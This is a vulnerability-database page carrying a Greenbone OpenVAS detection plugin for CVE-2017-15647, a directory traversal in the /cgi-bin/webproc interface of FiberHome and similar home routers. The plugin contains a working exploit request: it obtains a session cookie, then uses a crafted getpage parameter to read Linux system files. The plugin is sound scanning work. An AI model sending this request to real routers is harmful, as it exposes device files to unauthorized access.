Lucene search
+L

Multiple Router Directory Traversal Vulnerability (Nov 2017) - Active Check

🗓️ 24 Oct 2017 00:00:00Reported by Copyright (C) 2017 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 36 Views

Multiple Router Directory Traversal Vulnerability. Directory traversal vulnerability in /cgi-bin/webpro

Related
Refs
Code
ReporterTitlePublishedViews
Family
CNVD
FiberHome Router Directory Traversal Vulnerability
20 Oct 201700:00
cnvd
CVE
CVE-2017-15647
19 Oct 201722:00
cve
Cvelist
CVE-2017-15647
19 Oct 201722:00
cvelist
Exploit DB
FiberHome - Directory Traversal
13 Oct 201700:00
exploitdb
exploitpack
FiberHome - Directory Traversal
13 Oct 201700:00
exploitpack
Nuclei
FiberHome Routers - Local File Inclusion
27 Jul 202604:16
nuclei
NVD
CVE-2017-15647
19 Oct 201722:29
nvd
Prion
Directory traversal
19 Oct 201722:29
prion
RedhatCVE
CVE-2017-15647
22 May 202506:27
redhatcve
# SPDX-FileCopyrightText: 2017 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.140448");
  script_version("2026-03-17T05:57:28+0000");
  script_tag(name:"last_modification", value:"2026-03-17 05:57:28 +0000 (Tue, 17 Mar 2026)");
  script_tag(name:"creation_date", value:"2017-10-24 09:17:33 +0700 (Tue, 24 Oct 2017)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2017-11-07 15:02:00 +0000 (Tue, 07 Nov 2017)");

  script_cve_id("CVE-2017-15647");

  script_tag(name:"qod_type", value:"exploit");

  script_name("Multiple Router Directory Traversal Vulnerability (Nov 2017) - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2017 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_get_http_banner.nasl", "os_detection.nasl");
  script_mandatory_keys("mini_httpd/banner", "Host/runs_unixoide");
  script_require_ports("Services/www", 8080);

  script_tag(name:"summary", value:"Multiple home router products are prone to a directory traversal
  vulnerability.");

  script_tag(name:"insight", value:"On multiple home router products (e.g. FiberHome, PLC Systems),
  a directory traversal vulnerability exists in /cgi-bin/webproc via the getpage parameter in
  conjunction with a crafted var:page value.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/44054");
  # nb: This is a dead link and no archive.org one is available but still kept for tracking /
  # archival purposes.
  script_xref(name:"URL", value:"https://blogs.securiteam.com/index.php/archives/3472");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("misc_func.inc");
include("traversal_func.inc");

port = http_get_port(default: 8080);

# Seems we have to access this page first and get the cookie from it to succeed
req = http_get(port: port, item: "/cgi-bin/webproc?getpage=html/index.html&errorpage=html/main.html&var:language=zh_cn&var:menu=setup&var:page=connected&var:retag=1&var:subpage=-");
res = http_keepalive_send_recv(port: port, data: req);

files = traversal_files("linux");

cookie = http_get_cookie_from_header(buf: res, pattern: '(sessionid=[^;]+)');
if (cookie) {
  cookie += "; language=en_us";

  foreach pattern(keys(files)) {

    file = files[pattern];

    url = '/cgi-bin/webproc?getpage=/' + file + '&var:language=en_us&var:page=wizardfifth';

    req = http_get_req(port: port, url: url, add_headers: make_array("Cookie", cookie));
    res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);

    if (egrep(string: res, pattern: pattern, icase: TRUE)) {
      report = "It was possible to obtain the '/" + file + "' file.\n\nResult:\n" + res;
      security_message(port: port, data: report);
      exit(0);
    }
  }
}

exit(0);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Mar 2026 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 25
CVSS 37.5
EPSS0.26619
36